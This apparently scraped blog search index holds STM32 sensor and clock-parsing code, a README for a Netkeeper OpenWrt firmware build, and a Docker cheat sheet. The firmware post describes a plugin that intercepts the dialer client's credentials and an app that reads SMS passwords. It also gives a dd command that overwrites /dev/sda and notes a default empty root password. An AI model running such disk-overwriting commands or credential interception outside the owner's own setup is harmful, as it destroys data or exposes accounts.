//\tatk_8266_at_response(0); if(USART3_RX_STA\u0026amp;0X8000)\t//此时再次接到一次数据，为时间的数据 { USART3_RX_BUF[USART3_RX_STA\u0026amp;0X7FFF]=0;//添加结束符 } resp=\u0026#34;datetime_2\u0026#34;; p_end = (u8*)strstr((char*)USART3_RX_BUF,(char*)resp); p = p_end-11; //确定串口数据中时间的起止位，如\u0026#34;datetime_1\u0026#34;:\u0026#34;2021-03-31 20:09:07\u0026#34;,\u0026#34;datetime_2\u0026#34;:\u0026#34;2021 中 nwt.hour = ((*p - 0x30)*10 + (*(p+1) - 0x30));\tnwt.min = ((*(p+3) - 0x30)*10 + (*(p+4) - 0x30)); nwt.sec = ((*(p+6) - 0x30)*10 + (*(p+7) - 0x30)); nwt.year = ((*(p-11) - 0x30)*1000 + (*(p-10) - 0x30)*100+ (*(p-9) - 0x30)*10+ (*(p-8) - 0x30)); nwt.month = ((*(p-6) - 0x30)*10 + (*(p-5) - 0x30)); nwt.date = ((*(p-3) - 0x30)*10 + (*(p-2) - 0x30)); //使用指针方法获取时分秒年月日 RTC_Set(nwt.year,nwt.month ,nwt.date ,nwt.hour ,nwt.min,nwt.sec); //使用RTC函数设置时间 printf(\u0026#34;nwt.year = %d\\r\\n\u0026#34;,nwt.year); printf(\u0026#34;nwt.month = %d\\r\\n\u0026#34;,nwt.month); printf(\u0026#34;nwt.date = %d\\r\\n\u0026#34;,nwt.date); printf(\u0026#34;nwt.hour = %d\\r\\n\u0026#34;,nwt.hour); printf(\u0026#34;nwt.min = %d\\r\\n\u0026#34;,nwt.min); printf(\u0026#34;nwt.sec = %d\\r\\n\u0026#34;,nwt.sec); //\t打印时分秒年月日数据 //\tparse_now_time();//\tCjson方法解析时间数据 atk_8266_quit_trans();//退出透传 atk_8266_send_cmd(\u0026#34;AT+CIPCLOSE\u0026#34;,\u0026#34;OK\u0026#34;,50); //关闭连接 myfree(SRAMIN,p); return 0; } 实验现象\r注意事项\r4.3寸和7寸屏需要比较大电流,USB供电可能不足,请用外部电源适配器(推荐外接12V 1A电源)。 本例程在LCD_Init函数里面(在ILI93xx.c),用到了printf,如果不初始化串口1,将导致液晶无法显示!! 字库更新时,需自备标准SD卡一张(即大卡,也可以用TF卡+卡套)，并拷贝光盘:SD卡根目录文件里面的所有内容到SD卡根目录,然后将SD卡插到开发板。 对于战舰V3开发板,P8需要用跳线短接:PB10(TX)与GBC_RX，PB11(RX)与GBC_TX。 如果触摸屏不准，请按住KEY0不放，然后按复位，松开复位，进入触摸屏校准。此时松开KEY0，执行校准，即可对屏幕进行校准。 ","date":"2021-06-20T06:34:54Z","permalink":"/posts/c4f182e1/","title":"基于STM32的家庭气象站"},{"content":"项目地址\rMaskbugzero/STM32-GP2Y1010AU\n一个基于STM32的空气质量检测仪项目\n硬件资源\r战舰V3\\精英STM32F103开发板 GP2Y1010AU气体检测模块 实现功能\r室外粉尘颗粒数据获取及显示 连接方式\r主要代码\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 int main(void) { char str[] = \u0026#34;\u0026#34;; u16 PM = 0; DHT11_Data_TypeDef DHT11_Data; delay_init(); NVIC_Configuration(); uart_init(115200); GP2Y_Adc_Init(); //ADC初始化 OLED_Init(); OLED_ColorTurn(0);//0正常显示，1 反色显示 OLED_DisplayTurn(0);//0正常显示 1 屏幕翻转显示 OLED_Refresh(); OLED_ShowString(2,2,\u0026#34;PM2.5:\u0026#34;,16); OLED_ShowString(12,20,\u0026#34;TEM:\u0026#34;,16); OLED_ShowString(12,38,\u0026#34;HUM:\u0026#34;,16); OLED_ShowString(90,2,\u0026#34;ug/m3\u0026#34;,12); //PM2.5单位 ug/m3 OLED_ShowChinese(100,20,0,16); //温度单位 ℃ OLED_ShowChar(100,38,\u0026#39;%\u0026#39;,16); //湿度单位 % while(1) { /* 粉尘传感器获取数据*/ PM = GetGP2YSingleValue(); //得到pm2.5值 if(PM \u0026lt; 10) sprintf(str, \u0026#34; %d \u0026#34;,PM); else if(PM \u0026lt; 100) sprintf(str, \u0026#34;%d \u0026#34;,PM); else sprintf(str, \u0026#34;%d\u0026#34;,PM); OLED_ShowString(60,2,(u8 *)str,16); /* 温湿度传感器获取数据*/ if( Read_DHT11(\u0026amp;DHT11_Data)==SUCCESS) { sprintf(str, \u0026#34;%d.%d ℃ \u0026#34;,DHT11_Data.temp_int,DHT11_Data.temp_deci); OLED_ShowString(60,20,(u8 *)str,16); sprintf(str, \u0026#34;%d.%d\u0026#34;,DHT11_Data.humi_int,DHT11_Data.humi_deci); OLED_ShowString(60,38,(u8 *)str,16); } else { printf(\u0026#34;Read DHT11 ERROR!\\r\\n\u0026#34;);//读取数据失败，串口打印：Read DHT11 ERROR. } OLED_Refresh(); delay_ms(1000); } } 实验现象\r","date":"2020-12-30T16:44:24Z","permalink":"/posts/f691db9d/","title":"基于STM32的空气质量检测仪"},{"content":"项目地址\rMaskbugzero/Netkeeper-OpenWrt\n使用 GitHub Actions 云编译带有闪讯拨号插件（Netkeeper）的OpenWrt编译项目。\n固件下载\rOpenwrt-x86-64\n文件说明\r文件名 描述 sha256sums 固件完整性校验文件 config.buildinfo OpenWrt 编译配置文件 openwrt-x86-64-generic.manifest 固件内已集成软件包列表 openwrt-x86-64-generic-generic-rootfs.tar.gz RootFS 文件 openwrt-x86-64-generic-rootfs-ext4.img.gz 不带引导的 RootFS 镜像 openwrt-x86-64-generic-squashfs-combined.vmdk VMDK 虚拟磁盘映像 (Legacy 引导) openwrt-x86-64-generic-squashfs-combined-efi.vmdk VMDK 虚拟磁盘映像 (UEFI 引导) openwrt-x86-64-generic-squashfs-combined.img.gz Squashfs 格式安装 / 升级固件 (Legacy 引导) openwrt-x86-64-generic-squashfs-combined-efi.img.gz Squashfs 格式安装 / 升级固件 (UEFI 引导) 登录页面\r用户名：root 密码为空 管理IP：192.168.1.1 核心功能\rNetkeeper插件使用说明 自动获取闪讯密码并填写 使用方法\r初始配置\r默认Lan管理IP为192.168.1.1，默认第一个网口为 LAN，第二个为 WAN 直接登录，之后至系统 -\u0026gt; 管理权 页面修改默认密码，点击保存应用后立即生效 Netkeeper插件使用说明\r普通插件\r在 网络 -\u0026gt; 接口 -\u0026gt; WAN编辑 -\u0026gt; 选择闪讯拨号 -\u0026gt; 确认切换 后\n然后输入 用户名 和 密码 选择对应的 闪讯插件 保存应用即可拨号\n拦截插件\r在 网络 -\u0026gt; 接口 -\u0026gt; WAN编辑 -\u0026gt; 选择闪讯拨号 -\u0026gt; 确认切换 后\n选择 闪讯拦截 插件并开启闪讯拦截服务后，在PC端使用闪讯客户端拨号，会自动获取用户名与密码并拨号\n可以不用填写 用户名 和 密码\n在 服务 -\u0026gt; 闪讯拦截 开启闪讯拦截服务\n特别鸣谢\rnetkeeper的核心源码来自于miao1007的Openwrt-NetKeeper\n编译使用的源码来自于CCnut的feed-netkeeper\n自动获取闪讯密码并填写\r此功能须配合kuretru的SingleNet-Robot项目。由于本项目编译时以添加luci-mod-rpc，所以可直接使用推荐的LuCI服务端。\n简单使用方法：\r去项目下载编译好的apk文件，并安装至手机 点击服务器配置，输入服务端地址\u0026rsquo;http://192.168.1.1\u0026rsquo; 及服务端网络接口名称\u0026rsquo;wan' 服务端类型选择Luci Rpc，配置路由用户名密码 点击测试服务器，若成功点击保存并退出，若失败请仔细检查服务端地址是否设置正确 在调试面板输入当前的闪讯账号及密码，并点击手动更新用户名及密码查看是否自动更新成功 点击注册定时任务以开启自动更新密码功能，无需此功能可不点击注册定时任务。若点击注册定时任务，可设置更新时间间隔。 PS：定制系统如MIUI等，需给予app足够的权限，其中设置sim卡时，若未给app 获取手机信息 权限，将无法测试并造成闪退，且无法保存服务器数据。若未识别到收到的闪讯上网密码，则未给app 读取通知类短信 权限。\nPS：建议使用较为廉价的备用机，关闭移动数据，打开WIFI开关，只用于更新闪讯密码，可实现无缝更新闪讯密码。\n特别鸣谢\rkuretru的SingleNet-Robot\n软路由写盘\r将 img 文件上传 输入命令 dd if=/tmp/op.img of=/dev/sda 回车（op.img 为固件的名称） 最后输入 reboot 重启路由器 项目基于\rfeed-netkeeper SingleNet-Robot OpenWrt P3TERX/Actions-OpenWrt ","date":"2020-04-06T12:11:02Z","permalink":"/posts/500de237/","title":"Netkeeper-OpenWrt——专注闪讯上网"},{"content":"docker 基础命令\r启动docker 1 systemctl start docker 关闭docker 1 systemctl stop docker 重启docker 1 systemctl restart docker 查看docker 运行状态 \u0026mdash;\u0026mdash;如果是在运行中 输入命令后 会看到绿色的active 1 systemctl status docker 查看docker 版本号信息 1 docker version 查看docker 详细信息 \u0026mdash;\u0026mdash;\u0026ndash;此命令可以查看到docker 中容器运行个数 以及镜像个数等等 1 docker info 设置开机启动 1 systemctl enable docker 关闭开机启动 1 systemctl disable docker docker 镜像命令\r查看自己服务器中docker 镜像列表 1 docker images 拉取镜像 不加tag(版本号) 即拉取docker仓库中 该镜像的最新版本latest 加:tag 则是拉取指定版本 1 2 docker pull 镜像名 docker pull 镜像名:tag 运行镜像 1 docker run 镜像名 删除镜像 \u0026mdash;\u0026mdash;当前镜像没有被任何容器使用才可以删除 1 2 docker rm [containerID] 删除容器 docker rmi [imageID] 删除镜像 docker 容器命令\r查看运行中的所有容器 1 docker ps -a 查看正在运行容器列表 1 docker ps 停止容器 1 docker stop 容器名/容器ID 重启容器 1 docker restart 容器ID/容器名 启动容器 1 docker start 容器ID/容器名 kill 容器 1 docker kill 容器ID/容器名 进入容器 1 2 docker exec -it 容器名/容器ID /bin/bash docker attach 容器名/容器ID 退出容器 1 2 3 4 #-----直接退出 未添加-d(持久化运行容器)时执行此参数 容器会被关闭 exit # 优雅退出 --- 无论是否添加-d参数执行此命令容器都不会被关闭 Ctrl + p + q docker 网络命令\r列所有列表的网络 1 docker network ls 创建macvlan网络 1 2 3 4 5 6 7 ifconfig # 查看网卡信息 docker network create -d macvlan \\ # 创建macvlan网络，使用macvlan网络驱动 --subnet=192.168.1.0/24 \\ # 指定要桥接的网络地址 --gateway=192.168.1.1 \\ # 指定网关 -o parent=eth0 \\ # 设置要在宿主机上指定网卡 bridge-host # 网络名称 ","date":"2020-02-01T16:05:21Z","permalink":"/posts/29dc6fe8/","title":"Docker常用命令"}]